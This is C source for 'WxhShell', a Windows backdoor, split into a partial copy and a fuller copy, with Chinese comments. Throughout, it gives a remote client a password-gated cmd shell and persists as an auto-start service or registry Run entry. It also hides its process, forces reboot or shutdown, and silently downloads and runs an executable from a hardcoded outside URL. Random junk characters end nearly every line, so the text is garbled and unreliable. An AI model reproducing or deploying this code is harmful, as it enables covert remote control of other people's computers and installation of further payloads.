    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .ji_nZ4.+  
    if(Boot(SHUTDOWN)) }V\N16f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f5` g  
    else { zP<pEI  
    closesocket(wsh); /&4U6a  
    ExitThread(0); !F?XLekTi  
    } qgrg CJ  
    break; 9?k_y ZV  
    } q:g2Zc'Y~W  
  // 获取shell ^aW Z!gi  
  case 's': { jmeRrnC}  
    CmdShell(wsh); |ZQ@fmvL/p  
    closesocket(wsh); --DoB=5%8  
    ExitThread(0); ]LM-@G+Jz  
    break; `jOX6_z?I  
  } 4"Hye&O  
  // 退出 b5^OQH{v  
  case 'x': { 9+pmS#>_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "!EcbR  
    CloseIt(wsh); ~ar=PmYV7  
    break; V(E/'DR  
    } '}9JCJ  
  // 离开 h;0S%ZC  
  case 'q': { =)7s$ p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )(@Hd  
    closesocket(wsh); AQ ='|%  
    WSACleanup(); zLJ/5&  
    exit(1); >+[&3u  
    break; Ox@P6|m  
        } FLY Ca  
  } n..g~ $k  
  } ? C/Te)  
C$5[X7'  
  // 提示信息 v~Y^r2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `ta7Gc/:UY  
} ^7Fh{q4IE  
  } %D[0nt|X  
Cn[0(s6  
  return; &>Vfa  
} x@Hc@R<!  
0c#/hFn  
// shell模块句柄 5v6Ei i:  
int CmdShell(SOCKET sock) &%/7E_j7  
{ k%G1i-] 4  
STARTUPINFO si; cA:*V|YV `  
ZeroMemory(&si,sizeof(si)); vz!s~cAt  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ',S'.U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O &-wxJ]S  
PROCESS_INFORMATION ProcessInfo; d0,s"K7@  
char cmdline[]="cmd"; LA)[ip4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )=etG  
  return 0; \~_9G{2?  
} DX|# gUAm  
vZBc !AW  
// 自身启动模式 3F<VH  
int StartFromService(void) x>Jr_A(  
{ k{Aj^O3gD  
typedef struct x UD-iSY  
{ mOlI#5H  
  DWORD ExitStatus; ,11H.E Z  
  DWORD PebBaseAddress; 5O6hxcMjT  
  DWORD AffinityMask; c7FRI0X  
  DWORD BasePriority; r#Oo nZ  
  ULONG UniqueProcessId; *v3]}g[<  
  ULONG InheritedFromUniqueProcessId; ^R@j=_8}  
}   PROCESS_BASIC_INFORMATION; =%BZ9,l  
|x-S&-  
PROCNTQSIP NtQueryInformationProcess; c?,i3s+2Y  
82DmG@"s2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u5%7}<nNi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I}vmU^Y>  
I=NZokfS  
  HANDLE             hProcess; }x wu*Zx  
  PROCESS_BASIC_INFORMATION pbi; [ra_ 2R  
h^o{@/2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5EebPXBzB  
  if(NULL == hInst ) return 0; ^:Gie  
n;T7=1_"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); % V ;?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %&Q$dzgb_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K]9"_UnN  
BFOq8}fX2  
  if (!NtQueryInformationProcess) return 0; 2 FW \O0U  
wL:flH@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5)MS~ii  
  if(!hProcess) return 0; <"r#:Wr  
EL9]QI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /Dj=iBO  
<h'5cO  
  CloseHandle(hProcess); uPl\I6k  
t>$kWd{9e;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jyZWV L:_  
if(hProcess==NULL) return 0; ]3 l9:|  
y`XU~B)J1  
HMODULE hMod; t8+X%-r  
char procName[255]; [+DW >Et  
unsigned long cbNeeded; M%kO7>h8  
^i} L-QR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w_{wBL[3e  
+P`*kj-P\  
  CloseHandle(hProcess); d*%`!G  
Gvr@|{k  
if(strstr(procName,"services")) return 1; // 以服务启动 I\$X/t +dH  
3skC$mpJHw  
  return 0; // 注册表启动 Ot6aRk  
} 4s*ZS}] o  
DRi<6Ob  
// 主模块 -3=#u_  
int StartWxhshell(LPSTR lpCmdLine) TmV,&['mg  
{ hj.a&%  
  SOCKET wsl; T"DlT/\  
BOOL val=TRUE; ]33>m|?@  
  int port=0; y3o25}"  
  struct sockaddr_in door; z-.+x3&o @  
m~-K[+ya`D  
  if(wscfg.ws_autoins) Install(); W)f/0QX}W  
qtQ6cq Ld  
port=atoi(lpCmdLine); W1|0Yd ;P  
283F)T\Rv  
if(port<=0) port=wscfg.ws_port; /*X2c6<d  
9#MBaO8_"  
  WSADATA data; ~3WF,mW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f m)pulz  
t_$2CRG#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &N\jG373  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r'HtZo$^R  
  door.sin_family = AF_INET; E(8* pI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [8=vv7wS  
  door.sin_port = htons(port); P;ci9vk  
SfaQvstN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %~2YE  
closesocket(wsl); D)m5  
return 1; q$B>|y U  
} :<bB?N(  
1]@}|  
  if(listen(wsl,2) == INVALID_SOCKET) { n O\"HLM  
closesocket(wsl); \ b?" b  
return 1; ]);%wy{Ho  
} j)/nKh4O  
  Wxhshell(wsl); KmA;HiH%J  
  WSACleanup(); DkvF5c&  
8{^WY7.'  
return 0; { + Zd*)M[  
!y@NAa0  
} 8T!+ZQAz  
H1QJ k_RL  
// 以NT服务方式启动 ?"i}^B`*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4'a=pnE$  
{ 7|$:=4  
DWORD   status = 0; D*gFV{ Ws  
  DWORD   specificError = 0xfffffff; "AnC?c9?-^  
&3J_^210  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I+[>I=ewa  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -xEXN[\S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MbZJ;,e?  
  serviceStatus.dwWin32ExitCode     = 0; `lO[x.[  
  serviceStatus.dwServiceSpecificExitCode = 0; $m].8?  
  serviceStatus.dwCheckPoint       = 0; Q;43[1&3w  
  serviceStatus.dwWaitHint       = 0; 7BK0}sxO  
=}DR) 9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +zaA,e?\  
  if (hServiceStatusHandle==0) return; #><.oreXq  
{f2S/$q  
status = GetLastError(); 2.l Z:VLN  
  if (status!=NO_ERROR) jB$IyQ;@  
{ !'&n -Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Sjyoc<Uo  
    serviceStatus.dwCheckPoint       = 0; | r&k48@  
    serviceStatus.dwWaitHint       = 0; $c:ynjL|P-  
    serviceStatus.dwWin32ExitCode     = status; vY${;#~|  
    serviceStatus.dwServiceSpecificExitCode = specificError; $Q96,rb}k;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .<x&IJ /  
    return; r&R B9S@*h  
  } Y2ZT.l  
T arIPp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [y'f|XN  
  serviceStatus.dwCheckPoint       = 0; 5q;GIw^L  
  serviceStatus.dwWaitHint       = 0; g*e   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Jq&uF*!  
} s:#V(<J  
/%}*Xh  
// 处理NT服务事件,比如:启动、停止 Gb#Cm]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s:/8[(A  
{ PE}:ybsX  
switch(fdwControl) r@+ri1c  
{ G-xDN59K  
case SERVICE_CONTROL_STOP: E:JJ3X|  
  serviceStatus.dwWin32ExitCode = 0; E .7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; OjJXysslXO  
  serviceStatus.dwCheckPoint   = 0; a(kg/s  
  serviceStatus.dwWaitHint     = 0; Pe3@d|-,MU  
  { x(etb<!jd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ysxb?6  
  } R7$:@<:g  
  return; Ljxz.2LGr  
case SERVICE_CONTROL_PAUSE: n>+mL"hs  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; TcjEcMw,  
  break;  [F0s!,P  
case SERVICE_CONTROL_CONTINUE: q>$ev)W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Szq/hv=Q  
  break; @kpv{`Y  
case SERVICE_CONTROL_INTERROGATE: )6,de2Pb  
  break; DoJ\ q+  
}; 5p<ItU$pnL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !%^^\,  
} T (OW  
42e|LUZg  
// 标准应用程序主函数 <tF9V Jq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @ezH'y-v  
{ 1crnm J!C  
"= 6_V?&w  
// 获取操作系统版本 r@v,T8  
OsIsNt=GetOsVer(); Hyb3 ;yQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #MX'^RZ>2  
u<3HQ.:;  
  // 从命令行安装 uw [<5  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9N9 L}k b  
Mn9dqq~a  
  // 下载执行文件 %\D)u8}  
if(wscfg.ws_downexe) { ?no fUD.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]+|~cRQ9I  
  WinExec(wscfg.ws_filenam,SW_HIDE); WF1px%  
} c(:f\Wc3Z  
l)Pu2!Ic  
if(!OsIsNt) { 8TGOx%}i  
// 如果时win9x,隐藏进程并且设置为注册表启动 qUjmB sB  
HideProc(); 3HLNCt09  
StartWxhshell(lpCmdLine); 5b!vgm#])  
} |zQ4u  
else jT8#C=a7  
  if(StartFromService()) CK,7^U  
  // 以服务方式启动 RIb4!!',c  
  StartServiceCtrlDispatcher(DispatchTable); OK{quM5  
else *of3:w  
  // 普通方式启动 rqdE6y+^  
  StartWxhshell(lpCmdLine); HG+%HUO$  
lDOCmdt@N  
return 0; gCioq.  
} O\E/. B  
(yF:6$:#  
!G SV6  
v}1QH  
=========================================== "}pNe"ok  
4a'N>eDR  
FN\E*@>X=  
V n*  
LXbP 2  
~-EOjX(X'E  
" V}dJ.I /#  
SS$[VV  
#include <stdio.h> '+osf'&  
#include <string.h> EQf[,  
#include <windows.h> ppZDGpp  
#include <winsock2.h> Z @^9PQG$  
#include <winsvc.h> fb{`` ,nO  
#include <urlmon.h> 2^^`n1?'  
R{ a"Y$  
#pragma comment (lib, "Ws2_32.lib") 7( qE0R&@  
#pragma comment (lib, "urlmon.lib") -7S g62THS  
Ag&0wN+jTM  
#define MAX_USER   100 // 最大客户端连接数 8g&? Cc  
#define BUF_SOCK   200 // sock buffer `&D|>tiz  
#define KEY_BUFF   255 // 输入 buffer !q9+9 *6  
q OSM}ei>s  
#define REBOOT     0   // 重启 .v$D13L(o  
#define SHUTDOWN   1   // 关机 B?4boF?~  
oW<5|FaN  
#define DEF_PORT   5000 // 监听端口 _tBTE%sO  
rcMwFE?|xq  
#define REG_LEN     16   // 注册表键长度 oJ4 AIQjB  
#define SVC_LEN     80   // NT服务名长度 73xAG1D$r  
o| #Qu8Lk  
// 从dll定义API  OU8Lldt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !{^PO <9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $4/yZaVb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DpUbzr41+k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -?mfE+kt  
B5X(ykaX~  
// wxhshell配置信息 <-[wd.M_  
struct WSCFG { =>M^02"  
  int ws_port;         // 监听端口 cUA7#1\T=  
  char ws_passstr[REG_LEN]; // 口令 nPye,"A Ol  
  int ws_autoins;       // 安装标记, 1=yes 0=no .w0s%T,8}^  
  char ws_regname[REG_LEN]; // 注册表键名 Q aS\(_  
  char ws_svcname[REG_LEN]; // 服务名 VzY8rI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K2J \awX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~} ,=OF-b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N7O-2Z *  
int ws_downexe;       // 下载执行标记, 1=yes 0=no . koYHq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hJZV}a|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~zJ?H<>  
22.8PO0  
}; Y*H|?uNF  
P;Ga4Q.  
// default Wxhshell configuration `QyO`y=?[Y  
struct WSCFG wscfg={DEF_PORT, T3k#VNH  
    "xuhuanlingzhe", l]8D7(g  
    1, #6+@M  
    "Wxhshell", vTJ}8  
    "Wxhshell", fSs4ZXC  
            "WxhShell Service", 8 0Gn%1A9  
    "Wrsky Windows CmdShell Service", YbTxn="_  
    "Please Input Your Password: ", i*#-I3  
  1, ][?G/*k  
  "http://www.wrsky.com/wxhshell.exe", w+1 |9Y  
  "Wxhshell.exe" L{h%f4Du#  
    }; tE]= cTSV  
F.w 5S!5Q  
// 消息定义模块 P!+'1KR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M#As0~y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bO'Sgc[]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `Ye\p6v!+  
char *msg_ws_ext="\n\rExit."; E|6VX4`+  
char *msg_ws_end="\n\rQuit."; y0'Rmk,  
char *msg_ws_boot="\n\rReboot..."; }j*KcB_  
char *msg_ws_poff="\n\rShutdown..."; QA5Qwe L  
char *msg_ws_down="\n\rSave to "; DDPxmuNG  
]3KhgK%c8  
char *msg_ws_err="\n\rErr!"; Ah k8  
char *msg_ws_ok="\n\rOK!"; c6X}2a'  
763v  
char ExeFile[MAX_PATH]; 1oN^HG6O  
int nUser = 0; BV>\ McI+  
HANDLE handles[MAX_USER]; V>A .iim  
int OsIsNt; ^(|vsFzn  
2\7`/,U6  
SERVICE_STATUS       serviceStatus; S5G6Rj@W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]y,==1To  
;)!Sp:mHX  
// 函数声明 XVv K2(  
int Install(void); jF=gr$  
int Uninstall(void); -5I2ga  
int DownloadFile(char *sURL, SOCKET wsh); { T-'t/0e(  
int Boot(int flag); lJE93rXU  
void HideProc(void); Y0_),OaY  
int GetOsVer(void); X!m9lV<  
int Wxhshell(SOCKET wsl); N(y\dL=v  
void TalkWithClient(void *cs); Kd=%tNp  
int CmdShell(SOCKET sock); yjhf   
int StartFromService(void); ub;ZtsM,%  
int StartWxhshell(LPSTR lpCmdLine); >|twyb  
O }(VlR2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [$ejp>'Ud  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?zQA  
49w=XJ  
// 数据结构和表定义 >]W)'lnO  
SERVICE_TABLE_ENTRY DispatchTable[] = ?84 s4BpV1  
{ `.x Fiyc  
{wscfg.ws_svcname, NTServiceMain}, pb$~b\s]=  
{NULL, NULL} + j W1V}h  
}; wyQzM6:,yX  
*{y K 8  
// 自我安装 =9"W@n[>W  
int Install(void) hED=u/ql[  
{ %YSu8G_t  
  char svExeFile[MAX_PATH]; G=A,9@+c  
  HKEY key; /6h(6 *JI  
  strcpy(svExeFile,ExeFile); FKT1fv[H  
_ h": >  
// 如果是win9x系统,修改注册表设为自启动 FxVZ[R  
if(!OsIsNt) { l"2OP6d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %"af748!+D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U )l,'y2  
  RegCloseKey(key); @ )-$kk*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hWT[L.>k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sRrzp=D  
  RegCloseKey(key); rORZerM  
  return 0; !ykx^z  
    } a)#1{JaoY  
  } ltD37QZQ  
} FN%m0"/Z{t  
else { e`v`XSA[p  
6+KHQFb&N  
// 如果是NT以上系统,安装为系统服务 9> g,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); EoxQ */  
if (schSCManager!=0) jMN[J|us51  
{ 8krpowVs~  
  SC_HANDLE schService = CreateService yNqe8C,>e  
  ( h?FmBK'BAd  
  schSCManager, ty*@7g0k  
  wscfg.ws_svcname, X0M1(BJgGo  
  wscfg.ws_svcdisp, 3neIR@W  
  SERVICE_ALL_ACCESS, ulER1\W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $LLA,?;!  
  SERVICE_AUTO_START, *r$+&8V\n  
  SERVICE_ERROR_NORMAL, A6pjRxg  
  svExeFile, !k/Pv\j/R  
  NULL, sPb=82~z  
  NULL, U=o"32n+  
  NULL, j`*#v  
  NULL, D.1J_Y=9  
  NULL H_ez'yy  
  ); acw4B5]  
  if (schService!=0) r@o6voX  
  { .LuB\o$  
  CloseServiceHandle(schService); B-T/V-c7  
  CloseServiceHandle(schSCManager); "luR9l,RRE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RNhJ'&SYs  
  strcat(svExeFile,wscfg.ws_svcname); f uB)qt!E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m/@<c'i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L:k9# 6  
  RegCloseKey(key); j* *s^Sg  
  return 0; T1r3=Y4  
    } 4L73]3&  
  } vYU;_R  
  CloseServiceHandle(schSCManager); w1|A5q'M  
} bC3 F  
} 6O22P?v  
4j!]:ra  
return 1; &k1T08C*  
} Cb_oS4vM  
1<h>B:  
// 自我卸载 DtEwW1J  
int Uninstall(void) |P.6<  
{ -dO'~all  
  HKEY key; u^j {U}  
ej O}t:}P  
if(!OsIsNt) { 2Gs$?}"a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PDLpNTBf  
  RegDeleteValue(key,wscfg.ws_regname); N|Sf=q?Ko  
  RegCloseKey(key); "aFhkPdWn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $7'g Rb4  
  RegDeleteValue(key,wscfg.ws_regname); " sgjWo6  
  RegCloseKey(key); 2PR^:h2  
  return 0; `+/H^  
  } DS -fjH\  
} \i[BP  
} 0iZGPe~  
else { \)48904^  
A~dQ\M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .Xdj(_&  
if (schSCManager!=0) o|j*t7  
{ zj|/ CxV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); BvU"4d;x  
  if (schService!=0) yt+}K)Hz  
  { bhs(Qzx  
  if(DeleteService(schService)!=0) { aRc'  
  CloseServiceHandle(schService); =]>NDWqpHN  
  CloseServiceHandle(schSCManager); vwr74A.g0  
  return 0; s:Akk kF  
  } Ce'pis   
  CloseServiceHandle(schService); pU!o7>p  
  } !4rPv\   
  CloseServiceHandle(schSCManager); EHlytG}@  
} !%Y~~'5 h  
} T|"7sPgGR  
60Z]M+8y8  
return 1; >bUj *#<  
} - ~4+w  
UHGcnz<  
// 从指定url下载文件 = zl= SLe  
int DownloadFile(char *sURL, SOCKET wsh) K"2|[5  
{ V5D`eX9  
  HRESULT hr; &)pK%SAM  
char seps[]= "/"; g8'DoHJ*  
char *token; ^I]{7$6^  
char *file; 0 3~Ikll  
char myURL[MAX_PATH]; ^\:2}4Uj_  
char myFILE[MAX_PATH]; y>\S@I  
gNx+>h`AF  
strcpy(myURL,sURL); {5%/T,  
  token=strtok(myURL,seps); 9B)(>~q  
  while(token!=NULL) ^UA(HthY  
  {  0v^:  
    file=token; RH~3M0'0  
  token=strtok(NULL,seps); <SVmOmJ-K  
  } M@p"y q  
L<(VG{)Z  
GetCurrentDirectory(MAX_PATH,myFILE); +dkS/b  
strcat(myFILE, "\\"); Q;nAPS  
strcat(myFILE, file); <E\V`g  
  send(wsh,myFILE,strlen(myFILE),0); 8G ]w,eF  
send(wsh,"...",3,0); c#b:3dXx9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ak~4|w-  
  if(hr==S_OK) YYRT.U'  
return 0; TD04/ ISHT  
else ad!(z[F'Y  
return 1; oJ78jGTnb  
<E':[.zC  
} ' eO/PnYW  
/'y5SlE[J  
// 系统电源模块 ?kt=z4h9(  
int Boot(int flag) zL s^,x  
{ jiIST^Zq#t  
  HANDLE hToken; Fu8 7fVi/\  
  TOKEN_PRIVILEGES tkp; ke/_k/  
>Csbjf6  
  if(OsIsNt) { ;Mj002.\G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -O&"|   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~"ONAX  
    tkp.PrivilegeCount = 1; ] mj v;C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u9![6$R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OoP@-D"e  
if(flag==REBOOT) { Kla:e[{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^{[`=P'/  
  return 0; N"DY?6  
} 'o\;x"YJ  
else {  ~q%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Goj4`Hc  
  return 0; E!aq?`-'!  
} 2ALj}  
  } ~HP LV  
  else { lSc,AOXp  
if(flag==REBOOT) { i+~QDo(Pi  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I$N7pobh  
  return 0; v`{:~ q*  
} J0Four#MD  
else { K[ ?R[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xQz#i-v  
  return 0; - s|t^  
} 9YSVK\2$  
} "d?f:x3v^  
!C7<sZ`C  
return 1; >.Q0 Tx!P  
} ",Wf uz  
_hoAW8i  
// win9x进程隐藏模块 {v+a!#{c7  
void HideProc(void) *4#on>  
{ (G5T%[/U  
/8p&Qf>lJ1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5X;?I/9  
  if ( hKernel != NULL ) aBCOGtf  
  { i$#,XFFp~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Kcn\g.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0=m&^Jpp  
    FreeLibrary(hKernel); I2*oTUSik  
  } @+0V& jc  
\|!gPc%s  
return; luF#OPC  
} 5}SXYA}  
-ddOh<U>  
// 获取操作系统版本 {@\/a  
int GetOsVer(void) /$OIlu  
{ )tPl<lb  
  OSVERSIONINFO winfo; 7sN0`7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x=3I)}J(kn  
  GetVersionEx(&winfo); N K"%DU<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IuWX*b`v  
  return 1; 7h1"^}M&  
  else 14u^[M" U  
  return 0; y(a}IM3~  
} ! ZA}b[  
tz8t9lb[  
// 客户端句柄模块 5|m9:Hv[#  
int Wxhshell(SOCKET wsl) 7X:hIl   
{ O &\<FT5  
  SOCKET wsh; jhcuK:`L  
  struct sockaddr_in client; {9:hg9;E*  
  DWORD myID; a?\ `  
HtS#_y%(  
  while(nUser<MAX_USER) T;%+]:w<  
{ Vdy\4 nu(  
  int nSize=sizeof(client); 2E([#Pzb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Wlxk  
  if(wsh==INVALID_SOCKET) return 1; *hl<Y,W(  
L.Vq1RU\"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JSUzEAKe  
if(handles[nUser]==0) tQCj)Ms'X  
  closesocket(wsh); xF^r`  
else L`JY4JM"  
  nUser++; 2q$X>ImI$  
  } zlN+edgY#,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zPA>af~Ej  
!?Tzk&'  
  return 0; KD9Ca $-  
} \ /sF:~=  
ur`V{9g  
// 关闭 socket `ITDTZ J  
void CloseIt(SOCKET wsh) I>8 Bc  
{ !zl/0o  
closesocket(wsh); `oan,wq+  
nUser--; }cyq'm i  
ExitThread(0); r6<ArX$Yl  
} H.f9d.<W%  
q w"e0q%)  
// 客户端请求句柄 gZ ~y}@L y  
void TalkWithClient(void *cs) :nTkg[49pJ  
{ )/i4YLO  
WoJ]@Me8  
  SOCKET wsh=(SOCKET)cs; N_|YOw6  
  char pwd[SVC_LEN]; wN$uX#W|  
  char cmd[KEY_BUFF]; l'P[5'.  
char chr[1]; s@R3#"I  
int i,j;  8APTk  
UYl JO{|a  
  while (nUser < MAX_USER) { N n:m+ZDo^  
C[^a/P`i  
if(wscfg.ws_passstr) { I(F1S,7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T`j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aj% `x4e A  
  //ZeroMemory(pwd,KEY_BUFF); eDvXU_yA  
      i=0; 48W:4B'l9  
  while(i<SVC_LEN) { oM m/!Dc  
I]s:Ev[~  
  // 设置超时 }P7xdQ6  
  fd_set FdRead; 7ZrJ#n8?ih  
  struct timeval TimeOut; q|m#IVc  
  FD_ZERO(&FdRead); ^2(";.m  
  FD_SET(wsh,&FdRead); kemr@_  
  TimeOut.tv_sec=8; s#4))yUR6Z  
  TimeOut.tv_usec=0; <PH3gyC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9$}+-Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p=je"{  
Y>c5:F;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C _ k_D  
  pwd=chr[0]; 9QO!vx  
  if(chr[0]==0xd || chr[0]==0xa) { ~W5>;6f\  
  pwd=0; \L&qfMjW"Z  
  break; ~6pCOS}  
  } 9;'>\ImI  
  i++; uugzIV)  
    } E}E7VQjM  
4c9-[KKCV  
  // 如果是非法用户,关闭 socket ZnxOa  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R;N>#_9HU  
} \ltErd-  
!'c6Hs  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oc,U4+T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :5n"N5Go  
]ys4  
while(1) { A X^3uRQJ  
c9/ 'i  
  ZeroMemory(cmd,KEY_BUFF); cPa 0n4  
8O}A/*1FJ  
      // 自动支持客户端 telnet标准   fNmG`Ke  
  j=0; 5Od(J5`  
  while(j<KEY_BUFF) { P,+ 0   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P+D|_3j  
  cmd[j]=chr[0]; WL*W=(  
  if(chr[0]==0xa || chr[0]==0xd) { s}p GJ&C  
  cmd[j]=0; &' oacV=  
  break; ) J:'5hz  
  } 6H. L!tUI  
  j++; #RZJ1uL  
    } 9# .NPfMF  
t8wz'[z  
  // 下载文件 vX!dMJa0  
  if(strstr(cmd,"http://")) { !ktA"Jx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QL|:(QM  
  if(DownloadFile(cmd,wsh)) _mq*j^u,j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2*UE&Gp  
  else 71.:p,Z@z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [b\lcQ8O  
  } XiZ Zo  
  else { QY CNO#*  
